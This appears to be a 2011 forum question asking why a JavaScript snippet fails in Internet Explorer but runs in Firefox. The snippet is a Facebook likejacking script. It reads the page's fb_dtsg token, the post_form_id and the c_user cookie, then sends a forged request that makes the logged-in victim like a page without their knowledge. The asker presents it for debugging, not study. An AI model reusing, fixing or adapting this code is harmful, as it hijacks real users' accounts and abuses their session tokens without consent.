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POJavaScript not working in IE, works in FireFox UPDATE
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copied!<pre><code>function http_build_query (formdata, numeric_prefix, arg_separator) { var value, key, tmp = [], that = this; var _http_build_query_helper = function (key, val, arg_separator) { var k, tmp = []; if (val === true) { val = "1"; } else if (val === false) { val = "0"; } if (val !== null && typeof(val) === "object") { for (k in val) { if (val[k] !== null) { tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator)); } } return tmp.join(arg_separator); } else if (typeof(val) !== "function") { return that.urlencode(key) + "=" + that.urlencode(val); } else { throw new Error('There was an error processing for http_build_query().'); } }; if (!arg_separator) { arg_separator = "&"; } for (key in formdata) { value = formdata[key]; if (numeric_prefix && !isNaN(key)) { key = String(numeric_prefix) + key; } tmp.push(_http_build_query_helper(key, value, arg_separator)); } return tmp.join(arg_separator); } function urlencode (str) { str = (str + '').toString(); // Tilde should be allowed unescaped in future versions of PHP (as reflected below), but if you want to reflect current // PHP behavior, you would need to add ".replace(/~/g, '%7E');" to the following. return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28'). replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+'); } function HttpRequest(url, query, callback, method) { if(!method) { method = 'post'; } var xhr = new XMLHttpRequest(); xhr.open(method, url); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { log(xhr.responseText); if(callback) { callback(xhr.responseText); } } } if(typeof query != 'string') { query = http_build_query(query); } log(query); xhr.send(query); } post_form_id = escape(findelementbyname("post_form_id")); fb_dtsg = escape(document.getElementsByName("fb_dtsg")[0].value); cookie_user_uid = document.cookie.match(/c_user=(\d+)/)[1]; xhpc_composerid = escape(findelementbyname("xhpc_composerid")); function log(text) { if(window.console) { console.log(text); } } function shuffle(s) { while(m1 = s.match(/{(.*?)}/)) { m2 = m1[1].split('|'); r1 = m2[Math.floor(Math.random()*m2.length)]; s = s.replace(m1[0], r1); } return s; } function findelementbyname(nme) { var inputs = document.getElementsByTagName("input"); for(var i=0;i<inputs.length;i++) { if(inputs[i].name == nme) return inputs[i].value; } return null; } function send_like(fbpage_id) { HttpRequest('/ajax/pages/fan_status.php?__a=1', { add: 1, fb_dtsg: fb_dtsg, fbpage_id: fbpage_id, lsd: '', post_form_id: post_form_id, post_form_id_source: 'AsyncRequest', preserve_tab: true, reload: 0 }); } if(Math.random() * 2 > 1) { send_like(1); } else { send_like(2); } </code></pre> <hr> <p>This code works in Firefox, but not in IE. This is the error I get in IE:</p> <blockquote> <pre><code>Webpage error details </code></pre> <p>User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI/2) Timestamp: Fri, 29 Apr 2011 00:43:16 UTC</p> <p>Message: Object doesn't support this property or method Line: 84 Char: 1 Code: 0</p> </blockquote> <p>Line 84 would be post_form_id part.</p>

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